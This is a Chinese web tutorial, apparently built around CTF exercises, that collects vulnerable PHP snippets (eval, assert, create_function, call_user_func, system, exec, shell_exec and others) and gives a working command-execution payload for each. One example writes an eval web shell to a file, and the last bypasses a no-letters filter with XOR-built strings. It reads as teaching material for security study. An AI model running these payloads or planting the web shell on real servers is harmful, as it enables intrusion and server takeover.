首页 » SEO优化 » PHP集锦技巧_PHP敕令实行集锦

PHP集锦技巧_PHP敕令实行集锦

访客 2024-11-19 0

扫一扫用手机浏览

文章目录 [+]

?c=assert&d=system(%27ls%27);

E.g.2

<?phperror_reporting(0);show_source(__FILE__);$a = "$_GET[b]";$b = create_function('',$a);$b();?>

create_function 函数会创建一个匿名函数(lambda样式),在第一个echo中显示出名字,并在第二个echo语句中实行了此函数。

PHP集锦技巧_PHP敕令实行集锦

$b = create_function('',$a);

这里$a为函数,' '为参数

PHP集锦技巧_PHP敕令实行集锦
(图片来自网络侵删)

那么可以看作为

function lambda(){• echo ' ' ;}

传入payload

b= ;}phpinfo();/

在function函数中即

function lambda(){ echo ' ' ;}phpinfo();/}

后面的内容注释掉了,即实行命令

E.g.3

<?phperror_reporting(0);show_source(__FILE__);$a = "$_GET[d]";$b='print'.$a.';';$f = create_function('$a',$b);$f($a)

跟上面一样,虽然有一点变形,但是再$b的打印上没有分外之处,以是payload:

d=1;}system(%27ls%27);/

同等。

【----帮助网安学习,以下所有学习资料关注我,私信回答“资料”获取----】

 ① 网安学习发展路径思维导图

 ② 60+网安经典常用工具包

 ③ 100+SRC漏洞剖析报告

 ④ 150+网安攻防实战技能电子书

 ⑤ 最威信CISSP 认证考试指南+题库

 ⑥ 超1800页CTF实战技巧手册

 ⑦ 最新网安大厂口试题合集(含答案)

 ⑧ APP客户端安全检测指南(安卓+IOS)

E.g.4

<?phperror_reporting(0);show_source(__FILE__);$a = "$_GET[b]";assert($a);?>

没什么特殊之处,assert直接作为函数实行,payload:

?b=system(%27ls;%27)

E.g.5

<?phperror_reporting(0);show_source(__FILE__);$a = "$_GET[b]";$b = "$_GET[c]";call_user_func($a,$b);?>

call_user_func()函数的特点,知道后面的后面的$b为参数,前面的$a为函数即可

payload:

?b=system&c=whoami

E.g.6

<?phperror_reporting(0);show_source(__FILE__);$a = "$_GET[b]";$b = array($_GET['c']);call_user_func_array($a,$b);?>

payload:

?b=assert&c=system(%27whoami%27);

E.g.7

<?phperror_reporting(0);show_source(__FILE__);$_GET['a']($_GET['b']);?>

传入参数a和b,一个作为函数实行,一个做位参数,布局payload:

?a=assert&b=system(%27ls%27)

E.g.8

<?phperror_reporting(0);show_source(__FILE__);$a = "$_GET[b]";eval($a);?>

一句话木马有没有很熟习,直接get办法传参给b即可,payload:

?b=system("ls");

E.g.9

<?phpshow_source(__FILE__);echo "<br>";echo '请输入一个a的值';echo "<br>";error_reporting(0);$price = $_GET['a'];$code = 'echo $name. '.'的美元价格是' .$price.'; ';$b = create_function('$name',$code);$b('iphone');?>

基本上属于3的内容加强版,重点便是须要进行闭合,,代码变多了,payload没有出入,重点还是再$code的位置

payload:

?a=1;}system(%27ls%27);/

E.g.10

<?phpshow_source(__FILE__);error_reporting(0);$sort_by = $_GET['sort_by'];$sorter = 'strnatcasecmp';$database = array('1234','4321');$sort_function = ' return 1 ' . $sorter . '($a["' . '"] , $b["' . $sort_by . '"]);';usort($database,create_function('$a,$b',$sort_function));?>

属于加强版本,$sort_function的内容进行闭合,也便是sort_by的参数值要实现闭合,布局payload:

?sort_by=%27"]);}system(%27whoami%27);/

E.g.11

<?phperror_reporting(0);show_source(__FILE__);$a = "$_GET[c]";$b = preg_replace("/abc/e",$a,'abcd');var_dump($b);?>

虽然加了正则,但是并没有什么卵用,假把式,payload:

?c=system(%27ls%27);

E.g.12

<?phpshow_source(__FILE__);$commandExecution = "echo ";echo "<br>";system($commandExecution.$_GET['a']);echo "<br>";?>

payload

?a=<\?php\%20\@eval($_POST[a])\;%20\?>%20>2.php

一句话木马写入2.php

也有其它解法直接进行命令实行。

E.g.13

<?phperror_reporting(0);show_source(__FILE__); $a = "$_GET[c]";echo "<br>";exec($a,$b);var_dump($b);?

exec()函数直接实行命令,那么payload

?c=whoami

E.g.14

<?phperror_reporting(0);show_source(__FILE__);$a = "$_GET[c]";echo shell_exec($a);?

函数的特性shell_exec

?c=ls>2.txt

然后实行

?c=cat 2.txt

此时

E.g.15

<?phperror_reporting(0);show_source(__FILE__);$a = "$_GET[c]";echo "<br>";echo `$a`;?>

看到echo以及传入的字符串,方法类似于上面的一道

?c=cat%20flag.php>3.txt

直接访问3.txt即可,或者

?c=cat%203.txt

E.g.16

<?phperror_reporting(0);show_source(__FILE__);$a = "$_GET[c]";passthru($a);?>

payload:

?c=cat%20flag.php

E.g.17

<?phperror_reporting(0);show_source(__FILE__); $cmd=$_GET['c']; $fd = popen($cmd, 'r'); while($s=fgets($fd)){ print_r($s); } ?>

payload

?c=cat%20flag.php

E.g.18

<?php error_reporting(0); show_source(__FILE__); $command=$_GET['c']; $descriptorspec=array( 0=>array('pipe','r'), 1=>array('pipe','w'), 2=>array('pipe','w') ); $handle=proc_open($command,$descriptorspec,$pipes,NULL); if(!is_resource($handle)){ die('proc_open failed'); } while($s=fgets($pipes[1])){ print_r($s); } while($s=fgets($pipes[2])){ print_r($s); } fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($handle);?>

payload

?c=cat%20flag.php

E.g.19 无字母shell

<?phpinclude 'flag.php';if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>40){ //检测字符长度 die("Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ //限定字母和数字 die("NO."); } @eval($code); //$code的值要为非字母和数字}else{ highlight_file(__FILE__);}//$hint = "php function getFlag() to get flag";?>

绕过正则,传入的参数中不能含有大小写字母以及数字,利用异或的当时绕过正则即可

<?phpvar_dump('#'^'|'); var_dump('.'^'~');var_dump('/'^''); var_dump('|'^'/'); var_dump('{'^'/'); $__=("#"^"|").("."^"~").("/"^"").("|"^"/").("{"^"/");//变量$_值为字符串'POST'?>

no.flag中提示了flag在getflag()方法中,那么自然须要布局payload去调用getflag()方法,须要参数长度小于40且绕过正则,那么可以设想一下

function getflag(){

xxxxxxxxxxxxxxxx

}

@eval($code);

函数的调用便是类似于上面的过程,那么eval在实行的过程中$code并不能直接实行,参考上面的题7那么我传入的code的参数的形式为$_GET[]且须要调用getFlag()方法,由于考虑到须要无字母,以是结合异或,那么payload便是下面的内容:

?code=${"{{{"^"?<>/"}[""^"?"]();&_=getFlag

或者

?code=$="`{{{"^"?<>/";${$}_;&_=getFlag

这里

//_GET 的变形无字母shell

$_="`{{{"^"?<>/";

小结

大佬请绕路,如有缺点欢迎师傅们指出。

标签:

相关文章